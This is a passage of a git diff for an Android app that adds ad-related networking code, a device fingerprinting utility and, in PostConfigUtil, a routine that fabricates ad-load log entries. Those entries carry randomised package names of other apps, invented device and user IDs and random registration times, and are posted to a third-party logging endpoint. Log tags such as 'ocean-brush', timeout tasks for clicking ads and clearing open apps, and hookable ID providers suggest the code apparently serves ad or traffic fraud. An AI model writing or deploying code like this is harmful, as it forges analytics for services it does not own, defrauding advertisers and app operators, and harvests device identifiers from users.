+ * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/HttpUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/HttpUtil.kt new file mode 100644 index 0000000..b0f17ed --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/HttpUtil.kt @@ -0,0 +1,60 @@ +package com.cake.draw.painting.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpUtil private constructor() { + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + val call = mOkHttpClient!!.newCall(request) + call.enqueue(callback) + } + + // GET请求 + fun get(url: String, callback: Callback) { + val request = Request.Builder() + .url(url) + .build() + doAsync(request, callback) + } + + // POST请求 + fun post(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/IdProvider.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/IdProvider.kt new file mode 100644 index 0000000..33058d2 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/IdProvider.kt @@ -0,0 +1,7 @@ +package com.cake.draw.painting.environment.hy + +class IdProvider { + fun getId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/MyConfigUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/MyConfigUtil.kt new file mode 100644 index 0000000..b01ff84 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/MyConfigUtil.kt @@ -0,0 +1,83 @@ +package com.cake.draw.painting.environment.hy + +import android.util.Log +import com.google.gson.JsonObject +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import java.io.IOException + +object MyConfigUtil { + const val TAG = "ocean-lux-api" + private const val POST_LOAD_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_load_log" + private const val GET_CONFIG_URL = "http://172.24.100.10:8278/top_selection/config" + private const val POST_SHOW_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_show_log" + + private val httpUtil = HttpUtil.mInstance + + fun initPostLoadLog(json: JsonObject) { + httpUtil.post(POST_LOAD_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostLoadLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostLoadLog onResponse->$response") + } + }) + } + + fun initPostShowLog(json: JsonObject) { + httpUtil.post(POST_SHOW_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostShowLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostShowLog onResponse->$response") + } + }) + } + + fun getConfig(pkg: String, callback: ConfigCallback) { + val url = "$GET_CONFIG_URL?pkg=$pkg" + Log.d(TAG,"config url ->$url") + httpUtil.get(url, object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "getConfig onFailure") + Log.d(TAG, "exception=${e.javaClass.simpleName}") + Log.d(TAG, "message=${e.message}") + Log.d(TAG, "stacktrace=${Log.getStackTraceString(e)}") + + callback.onFailure(e) + } + + override fun onResponse(call: Call, response: Response) { + try { + if (response.isSuccessful) { + val responseData = response.body?.string() + if (responseData == null) { + Log.d(TAG, "response body is null") + callback.onFailure(IOException("response body is null")) + return + } + callback.onResponse(responseData) + } else { + val errorBody = response.body?.string() + + Log.d(TAG, "getConfig http fail") + Log.d(TAG, "code=${response.code}") + Log.d(TAG, "message=${response.message}") + Log.d(TAG, "body=$errorBody") + + callback.onFailure( + IOException("HTTP ${response.code}, body=$errorBody") + ) + } + } finally { + response.close() + } + } + }) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/PhoneInfoUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/PhoneInfoUtil.kt new file mode 100644 index 0000000..cb04da8 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/PhoneInfoUtil.kt @@ -0,0 +1,375 @@ +package com.cake.draw.painting.environment.hy; + +import android.annotation.SuppressLint +import android.content.Context +import android.net.wifi.WifiManager +import android.os.Build +import android.telephony.TelephonyManager +import android.webkit.WebSettings +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject + +object PhoneInfoUtil { + //日志服务器相关 + const val LOG_STORE = "vault_data" + + //参数名 + const val GOOGLE_ADID = "google_adid" + const val BUILD_ID = "build_id" + const val BUILD_DISPLAY = "build_display" + const val BUILD_INCREMENTAL = "build_incremental" + const val BUILD_SDK_INT = "build_sdk_int" + const val BUILD_CODENAME = "build_codename" + const val BUILD_RELEASE = "build_release" + const val BUILD_TYPE = "build_type" + const val BUILD_USER = "build_user" + const val BUILD_HOST = "build_host" + const val BUILD_TAGS = "build_tags" + const val BUILD_MODEL = "build_model" + const val BUILD_BRAND = "build_brand" + const val BUILD_PRODUCT = "build_product" + const val BUILD_DEVICE = "build_device" + const val BUILD_BOARD = "build_board" + const val BUILD_CPU_ABI = "build_cpu_abi" + const val BUILD_CPU_ABI2 = "build_cpu_abi2" + const val BUILD_MANUFACTURER = "build_manufacturer" + const val BUILD_FINGERPRINT = "build_fingerprint" + const val BUILD_SERIAL = "build_serial" + const val BUILD_HARDWARE = "build_hardware" + const val BUILD_BOOTLOADER = "build_bootloader" + const val SETTINGS_SECURE_ANDROID_ID = "settings_secure_android_id" + const val TELE_GETDEVICEID = "tele_getdeviceid" + const val TELE_GETDEVICESOFTWAREVERSION = "tele_getdevicesoftwareversion" + const val TELE_GETLINE1NUMBER = "tele_getline1number" + const val TELE_GETNETWORKCOUNTRYISO = "tele_getnetworkcountryiso" + const val TELE_GETNETWORKOPERATOR = "tele_getnetworkoperator" + const val TELE_GETNETWORKOPERATORNAME = "tele_getnetworkoperatorname" + const val TELE_GETNETWORKTYPE = "tele_getnetworktype" + const val TELE_GETPHONETYPE = "tele_getphonetype" + const val TELE_GETSIMCOUNTRYISO = "tele_getsimcountryiso" + const val TELE_GETSIMOPERATOR = "tele_getsimoperator" + const val TELE_GETSIMOPERATORNAME = "tele_getsimoperatorname" + const val TELE_GETSIMSERIALNUMBER = "tele_getsimserialnumber" + const val TELE_GETSIMSTATE = "tele_getsimstate" + const val TELE_GETSUBSCRIBERID = "tele_getsubscriberid" + const val WEB_USERAGENT = "web_useragent" + const val WIFIINFO_GETBSSID = "wifiinfo_getbssid" + const val WIFIINFO_GETMACADDRESS = "wifiinfo_getmacaddress" + const val WIFIINFO_GETNETWORKID = "wifiinfo_getnetworkid" + const val WIFIINFO_GETSSID = "wifiinfo_getssid" + + /** + * 需要异步,有异步获取的内容 + */ + @SuppressLint("MissingPermission") + fun getPhoneInfo(ctx: Context): PhoneInfo { + val phoneInfo = PhoneInfo() + try { + phoneInfo.gaid = AdvertisingIdClient.getAdvertisingIdInfo(ctx.applicationContext).id + } catch (e: Exception) { + e.printStackTrace() + } + phoneInfo.build_id = Build.ID + phoneInfo.build_display = Build.DISPLAY + phoneInfo.build_incremental = Build.VERSION.INCREMENTAL + phoneInfo.build_sdk_int = Build.VERSION.SDK_INT + phoneInfo.build_codename = Build.VERSION.CODENAME + phoneInfo.build_release = Build.VERSION.RELEASE + phoneInfo.build_type = Build.TYPE + phoneInfo.build_user = Build.USER + phoneInfo.build_host = Build.HOST + phoneInfo.build_tags = Build.TAGS + phoneInfo.build_model = Build.MODEL + phoneInfo.build_brand = Build.BRAND + phoneInfo.build_product = Build.PRODUCT + phoneInfo.build_device = Build.DEVICE + phoneInfo.build_board = Build.BOARD + phoneInfo.build_cpu_abi = Build.CPU_ABI + phoneInfo.build_cpu_abi2 = Build.CPU_ABI2 + phoneInfo.build_manufacturer = Build.MANUFACTURER + phoneInfo.build_fingerprint = Build.FINGERPRINT +// phoneInfo.build_serial = Build.SERIAL + phoneInfo.build_serial = "" + phoneInfo.build_hardware = Build.HARDWARE + phoneInfo.build_bootloader = Build.BOOTLOADER + try { +// phoneInfo.settings_secure_android_id = Settings.Secure.getString( +// ctx.applicationContext.contentResolver, +// Settings.Secure.ANDROID_ID +// ) + phoneInfo.settings_secure_android_id = "" + } catch (ignore: Exception) { + } + val manager = + ctx.applicationContext.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager + if (manager != null) { + try { +// if (Build.VERSION.SDK_INT >= 23) { +// phoneInfo.tel_get_device_id = manager.getDeviceId(0) +// } else { +// phoneInfo.tel_get_device_id = manager.deviceId +// } + + phoneInfo.tel_get_device_id = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_device_software_version = manager.deviceSoftwareVersion + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_line1_number = manager.line1Number + phoneInfo.tel_get_line1_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_country_iso = manager.networkCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator = manager.networkOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator_name = manager.networkOperatorName + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_phone_type = manager.phoneType + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_country_iso = manager.simCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator = manager.simOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator_name = manager.simOperatorName + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_sim_serial_number = manager.simSerialNumber + phoneInfo.tel_get_sim_serial_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_state = manager.simState + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_subscriber_id = manager.subscriberId + phoneInfo.tel_get_subscriber_id = "" + } catch (ignore: Exception) { + } + } + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) { + phoneInfo.web_user_agent = WebSettings.getDefaultUserAgent(ctx) + } + } catch (ignore: Exception) { + } + val wifiManager = + ctx.applicationContext.getSystemService(Context.WIFI_SERVICE) as WifiManager + if (wifiManager != null) { + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_bssid = wifiManager.connectionInfo.bssid + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_mac_address = wifiManager.connectionInfo.macAddress +// } + phoneInfo.wifi_info_get_mac_address = "" + } catch (ignore: Exception) { + } + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_network_id = wifiManager.connectionInfo.networkId + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_ssid = wifiManager.connectionInfo.ssid +// } + phoneInfo.wifi_info_get_ssid = "" + } catch (ignore: Exception) { + } + } + return phoneInfo + } + + fun getInfoJson(phoneInfo: PhoneInfo): JsonObject { + val json = JsonObject() + json.addProperty(GOOGLE_ADID, phoneInfo.gaid) + json.addProperty(BUILD_ID, phoneInfo.build_id) + json.addProperty(BUILD_DISPLAY, phoneInfo.build_display) + json.addProperty(BUILD_INCREMENTAL, phoneInfo.build_incremental) + json.addProperty(BUILD_SDK_INT, phoneInfo.build_sdk_int.toString() + "") + json.addProperty(BUILD_CODENAME, phoneInfo.build_codename) + json.addProperty(BUILD_RELEASE, phoneInfo.build_release) + json.addProperty(BUILD_TYPE, phoneInfo.build_type) + json.addProperty(BUILD_USER, phoneInfo.build_user) + json.addProperty(BUILD_HOST, phoneInfo.build_host) + json.addProperty(BUILD_TAGS, phoneInfo.build_tags) + json.addProperty(BUILD_MODEL, phoneInfo.build_model) + json.addProperty(BUILD_BRAND, phoneInfo.build_brand) + json.addProperty(BUILD_PRODUCT, phoneInfo.build_product) + json.addProperty(BUILD_DEVICE, phoneInfo.build_device) + json.addProperty(BUILD_BOARD, phoneInfo.build_board) + json.addProperty(BUILD_CPU_ABI, phoneInfo.build_cpu_abi) + json.addProperty(BUILD_CPU_ABI2, phoneInfo.build_cpu_abi2) + json.addProperty(BUILD_MANUFACTURER, phoneInfo.build_manufacturer) + json.addProperty(BUILD_FINGERPRINT, phoneInfo.build_fingerprint) + json.addProperty(BUILD_SERIAL, phoneInfo.build_serial) + json.addProperty(BUILD_HARDWARE, phoneInfo.build_hardware) + json.addProperty(BUILD_BOOTLOADER, phoneInfo.build_bootloader) + json.addProperty(SETTINGS_SECURE_ANDROID_ID, phoneInfo.settings_secure_android_id) + json.addProperty(TELE_GETDEVICEID, phoneInfo.tel_get_device_id) + json.addProperty(TELE_GETDEVICESOFTWAREVERSION, phoneInfo.tel_get_device_software_version) + json.addProperty(TELE_GETLINE1NUMBER, phoneInfo.tel_get_line1_number) + json.addProperty(TELE_GETNETWORKCOUNTRYISO, phoneInfo.tel_get_network_country_iso) + json.addProperty(TELE_GETNETWORKOPERATOR, phoneInfo.tel_get_network_operator) + json.addProperty(TELE_GETNETWORKOPERATORNAME, phoneInfo.tel_get_network_operator_name) + json.addProperty(TELE_GETNETWORKTYPE, phoneInfo.tel_get_network_type.toString() + "") + json.addProperty(TELE_GETPHONETYPE, phoneInfo.tel_get_phone_type.toString() + "") + json.addProperty(TELE_GETSIMCOUNTRYISO, phoneInfo.tel_get_sim_country_iso) + json.addProperty(TELE_GETSIMOPERATOR, phoneInfo.tel_get_sim_operator) + json.addProperty(TELE_GETSIMOPERATORNAME, phoneInfo.tel_get_sim_operator_name) + json.addProperty(TELE_GETSIMSERIALNUMBER, phoneInfo.tel_get_sim_serial_number) + json.addProperty(TELE_GETSIMSTATE, phoneInfo.tel_get_sim_state.toString() + "") + json.addProperty(TELE_GETSUBSCRIBERID, phoneInfo.tel_get_subscriber_id + "") + json.addProperty(WEB_USERAGENT, phoneInfo.web_user_agent + "") + json.addProperty(WIFIINFO_GETBSSID, phoneInfo.wifi_info_get_bssid + "") + json.addProperty(WIFIINFO_GETMACADDRESS, phoneInfo.wifi_info_get_mac_address + "") + json.addProperty(WIFIINFO_GETNETWORKID, phoneInfo.wifi_info_get_network_id.toString() + "") + json.addProperty(WIFIINFO_GETSSID, phoneInfo.wifi_info_get_ssid + "") + return json + } + + class PhoneInfo { + //google ad id + var gaid: String? = null + + //build id + var build_id: String? = null + + //build_display + var build_display: String? = null + var build_incremental: String? = null + var build_sdk_int = 0 + var build_codename: String? = null + var build_release: String? = null + var build_type: String? = null + var build_user: String? = null + var build_host: String? = null + var build_tags: String? = null + var build_model: String? = null + var build_brand: String? = null + var build_product: String? = null + var build_device: String? = null + var build_board: String? = null + var build_cpu_abi: String? = null + var build_cpu_abi2: String? = null + var build_manufacturer: String? = null + var build_fingerprint: String? = null + var build_serial: String? = null + var build_hardware: String? = null + var build_bootloader: String? = null + var settings_secure_android_id: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_device_id: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_device_software_version: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_line1_number: String? = null + var tel_get_network_country_iso: String? = null + var tel_get_network_operator: String? = null + var tel_get_network_operator_name: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_network_type = 0 + var tel_get_phone_type = 0 + var tel_get_sim_country_iso: String? = null + var tel_get_sim_operator: String? = null + var tel_get_sim_operator_name: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_sim_serial_number: String? = null + var tel_get_sim_state = 0 + + //高版本获取不到,低版本不确定 + var tel_get_subscriber_id: String? = null + var web_user_agent: String? = null + + //部分手机需要定位权限, wifi mac + var wifi_info_get_bssid: String? = null + + //需要权限,定位 + var wifi_info_get_mac_address: String? = null + var wifi_info_get_network_id = 0 + + //需要权限,包括定位,wifi状态读取等权限 + var wifi_info_get_ssid: String? = null + fun log() { + println( + """ + xx - 1 = $gaid + xx - 2 = $build_id + xx - 3 = $build_display + xx - 4 = $build_incremental + xx - 5 = $build_sdk_int + xx - 6 = $build_codename + xx - 7 = $build_release + xx - 8 = $build_type + xx - 9 = $build_user + xx - 10 = $build_host + xx - 11 = $build_tags + xx - 12 = $build_model + xx - 13 = $build_brand + xx - 14 = $build_product + xx - 15 = $build_device + xx - 16 = $build_board + xx - 17 = $build_cpu_abi + xx - 18 = $build_cpu_abi2 + xx - 19 = $build_manufacturer + xx - 20 = $build_fingerprint + xx - 21 = $build_serial + xx - 22 = $build_hardware + xx - 23 = $build_bootloader + xx - 24 = $settings_secure_android_id + xx - 25 = $tel_get_device_id + xx - 26 = $tel_get_device_software_version + xx - 27 = $tel_get_line1_number + xx - 28 = $tel_get_network_country_iso + xx - 29 = $tel_get_network_operator + xx - 30 = $tel_get_network_operator_name + xx - 31 = $tel_get_network_type + xx - 32 = $tel_get_sim_country_iso + xx - 33 = $tel_get_sim_operator + xx - 34 = $tel_get_sim_operator_name + xx - 35 = $tel_get_sim_serial_number + xx - 36 = $tel_get_sim_state + xx - 37 = $tel_get_subscriber_id + xx - 38 = $web_user_agent + xx - 39 = $wifi_info_get_bssid + xx - 40 = $wifi_info_get_mac_address + xx - 41 = $wifi_info_get_network_id + xx - 42 = $wifi_info_get_ssid + + """.trimIndent() + ) + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/PostConfigUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/PostConfigUtil.kt new file mode 100644 index 0000000..26c7eb1 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/PostConfigUtil.kt @@ -0,0 +1,179 @@ +package com.cake.draw.painting.environment.hy + +import android.content.Context +import okhttp3.Call +import okhttp3.Response +import org.json.JSONArray +import org.json.JSONObject +import java.io.IOException +import java.text.SimpleDateFormat +import java.util.Random +import java.util.UUID +import java.util.concurrent.ThreadLocalRandom + +object PostConfigUtil { + + private val TAG = "test" + + private val postUrl = "https://b.calcvault.top/api/2/log" + + fun postInfo(context: Context, id: String) { + try { + Thread(Runnable { + try { + var random = Random() + var json1 = JSONObject() + var jsonArray1 = JSONArray() + var json2 = JSONObject() + var jsonArray2 = JSONArray() + + var jj = JSONObject() + jj.put("key", "ad_action") + jj.put("value", "load") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_place") + jj.put("value", "app_main_banner") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_platform") + jj.put("value", "max") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_type") + jj.put("value", "banner") + jsonArray2.put(jj) + + + var pkgList = ArrayList() + pkgList.add("com.privatevault.calculator.pics") + pkgList.add("com.x4d.live.wallpaper.pixel4d.hd4k") + pkgList.add("com.pix.hd.x4k.live.wallpaper.background") + + var p = random.nextInt(pkgList.size) + if (p == 0) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.8") + jsonArray2.put(jj) + } else if (p == 1) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.2.0") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.9") + jsonArray2.put(jj) + } + + jj = JSONObject() + jj.put("key", "bundleId") + jj.put("value", pkgList[p]) + jsonArray2.put(jj) + + if (p % 2 == 0) { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "34") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "33") + jsonArray2.put(jj) + } + + var tt = id.replace("-", random.nextInt(10).toString()) + var tt2 = UUID.randomUUID().toString().replace("-", "").substring(0, 6) + jj = JSONObject() + jj.put("key", "deviceId") + jj.put("value", tt2 + tt) + jsonArray2.put(jj) + + + var formatTime = SimpleDateFormat("yyyy-MM-dd HH:mm:ss") + val minTimestamp = 1670000000000L // 最小时间戳(2021-01-01 00:00:00) + val maxTimestamp = System.currentTimeMillis() // 最大时间戳(当前时间) + val timestamp = ThreadLocalRandom.current().nextLong(minTimestamp, maxTimestamp + 1) + + jj = JSONObject() + jj.put("key", "record_id") + jj.put("value", timestamp.toString()) + jsonArray2.put(jj) + var userId = random.nextInt(10000) + 30000 + jj = JSONObject() + jj.put("key", "userId") + jj.put("value", userId.toString()) + jsonArray2.put(jj) + + + jj = JSONObject() + jj.put("key", "is_show") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "network") + jj.put("value", "tradplus") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_region") + jj.put("value", "in") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "is_loaded") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "use_substitute") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "record_time") + jj.put("value", formatTime.format(System.currentTimeMillis())) + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_time") + jj.put("value", formatTime.format(timestamp)) + jsonArray2.put(jj) + + json2.put("kv", jsonArray2) + json2.put("timestamp", (System.currentTimeMillis() / 1000).toInt()) + + jsonArray1.put(json2) + json1.put("logs", jsonArray1) + json1.put("logstore", "sdk_log") + json1.put("project", "safevault-client") + + val json = json1.toString() + HttpInfoUtil.mInstance.postInfo( + postUrl, + json, + object : okhttp3.Callback { + override fun onFailure(call: Call, e: IOException) { + + } + + override fun onResponse(call: Call, response: Response) { + val responseData = response.body?.string() + if (responseData != null) { + } + } + }) + } catch (ignore: Exception) { + } + }).start() + } catch (ignore: Exception) { + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/SimIdProvider.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/SimIdProvider.kt new file mode 100644 index 0000000..43906d3 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/SimIdProvider.kt @@ -0,0 +1,7 @@ +package com.cake.draw.painting.environment.hy + +class SimIdProvider { + fun getSimId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutManager.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutManager.kt new file mode 100644 index 0000000..196ddaf --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutManager.kt @@ -0,0 +1,62 @@ +package com.cake.draw.painting.environment.hy + +import android.os.Handler +import android.os.Looper +import android.util.Log + +object TimeoutManager { + private val handler = Handler(Looper.getMainLooper()) // 主线程 Handler + private val timeoutTasks = mutableMapOf() // 存储超时任务 + + // 统一管理超时任务的超时时间 + private val TIMEOUTS = mapOf( + TimeoutTask.SHOW_AD.key to 30_000L, + TimeoutTask.CLICK_AD.key to 30_000L, + TimeoutTask.OVERALL_PROCESS.key to 100_000L, + TimeoutTask.CLEAR_OPEN_APPS.key to 15_000L, + TimeoutTask.CLOSE_AD.key to 10_000L, + TimeoutTask.PARAM_CHANGE.key to 100_000L, + TimeoutTask.CLICK_COMPLETE_TO_MAIN.key to 5_000L, + ) + + /** + * 启动超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + * @param onTimeout 超时后执行的操作 + */ + fun startTimeout(task: TimeoutTask, onTimeout: () -> Unit) { + val timeoutMillis = TIMEOUTS[task.key] ?: return // **如果任务不存在,直接 return** + cancelTimeout(task) // **先取消已有的超时任务** + + val timeoutRunnable = Runnable { + Log.d("ocean-brush", "⚠️ 任务 [${task.key}] 超时,执行 onTimeout()") + onTimeout() + } + + timeoutTasks[task.key] = timeoutRunnable + handler.postDelayed(timeoutRunnable, timeoutMillis) + + Log.d("ocean-brush", "✅ 超时检测 [${task.key}] 已启动,超时时间 ${timeoutMillis / 1000} 秒") + } + + /** + * 取消超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + */ + fun cancelTimeout(task: TimeoutTask) { + timeoutTasks[task.key]?.let { + handler.removeCallbacks(it) + timeoutTasks.remove(task.key) + Log.d("ocean-brush", "🛑 超时检测 [${task.key}] 已取消") + } + } + + /** + * 取消所有超时任务 + */ + fun cancelAll() { + timeoutTasks.values.forEach { handler.removeCallbacks(it) } + timeoutTasks.clear() + Log.d("ocean-brush", "🛑 所有超时检测已取消") + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutTask.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutTask.kt new file mode 100644 index 0000000..f4e592d --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/TimeoutTask.kt @@ -0,0 +1,11 @@ +package com.cake.draw.painting.environment.hy + +enum class TimeoutTask(val key: String) { + SHOW_AD("showAd"), + CLICK_AD("clickAd"), + OVERALL_PROCESS("OverallProcess"),//用于VungleActivity某些广告无法被关闭导致卡住的超时。 + CLEAR_OPEN_APPS("ClearOpenApps"), + CLOSE_AD("closeAd"), + PARAM_CHANGE("paramChange"), + CLICK_COMPLETE_TO_MAIN("ClickCompleteToMain"); +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/jb/MagicLockManager.java b/app/src/main/java/com/cake/draw/painting/environment/jb/MagicLockManager.java new file mode 100644 index 0000000..d7f5a5d --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/jb/MagicLockManager.java @@ -0,0 +1,42 @@ +package com.cake.draw.painting.environment.jb; + +import android.app.Application; +import android.content.Context; + +import com.applock.filemanager.magiclock.control.MagicLock; +import com.cake.draw.painting.environment.MainActivity2; + +public class MagicLockManager { + public static final String TAG = "--ocean--"; + private Context ctx; + private volatile static MagicLockManager mInstance; + + public static MagicLockManager init(final Context context) { + //第一次判空 + if (mInstance == null) { + //进入同步区域 + synchronized (MagicLockManager.class) { + //第二次判空 + if (mInstance == null) { + mInstance = new MagicLockManager(context); + } + } + } + return mInstance; + } + + public static MagicLockManager getInstance() { + return mInstance; + } + + private MagicLockManager(Context ctx) { + this.ctx = ctx; + init(); + } + + private void init() { + MagicLock.getInstance((Application) ctx).addShowCoverActivity(MainActivity2.class.getSimpleName()); + MagicLock.getInstance((Application) ctx).startShowAdLayout(); + } + +} diff --git a/app/src/main/res/layout/activity_main2.xml b/app/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..de27c8c --- /dev/null +++ b/app/src/main/res/layout/activity_main2.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml index eb36cb7..5eb6cd3 100644 --- a/app/src/main/res/values/colors.xml +++ b/app/src/main/res/values/colors.xml @@ -11,4 +11,8 @@ #bfbfbf #71878d #a8abb0 + + #60D889 + #CE3A54 + #FF018786 \ No newline at end of file diff --git a/app/src/main/res/xml/net.xml b/app/src/main/res/xml/net.xml index 69cc842..be16a70 100644 --- a/app/src/main/res/xml/net.xml +++ b/app/src/main/res/xml/net.xml @@ -2,5 +2,6 @@ mobile-server.lux-ad.com + 172.24.100.10 diff --git a/settings.gradle.kts b/settings.gradle.kts index 1b4082d..4d8ec78 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -14,16 +14,23 @@ dependencyResolutionManagement { dirs("libs") } maven("https://jitpack.io") - // TradPlus - mavenCentral() + //------------------------- TradPlus // Ironsource - maven("https://android-sdk.is.com/") + maven { url = uri("https://android-sdk.is.com/") } // Pangle - maven("https://artifact.bytedance.com/repository/pangle") + maven { url = uri("https://artifact.bytedance.com/repository/pangle") } + // Chartboost + maven { url = uri("https://cboost.jfrog.io/artifactory/chartboost-ads/") } + maven { + name = "Chartboost Mediation’s maven repo" + url = uri("https://cboost.jfrog.io/artifactory/chartboost-mediation") + } // Mintegral //Launch GP market application, Android X Version //If you fail to pull the code using gradle, add the maven warehouse configuration to the project root build.gradle file - maven("https://dl-maven-android.mintegral.com/repository/mbridge_android_sdk_oversea") + maven { + url = uri("https://dl-maven-android.mintegral.com/repository/mbridge_android_sdk_oversea") + } } }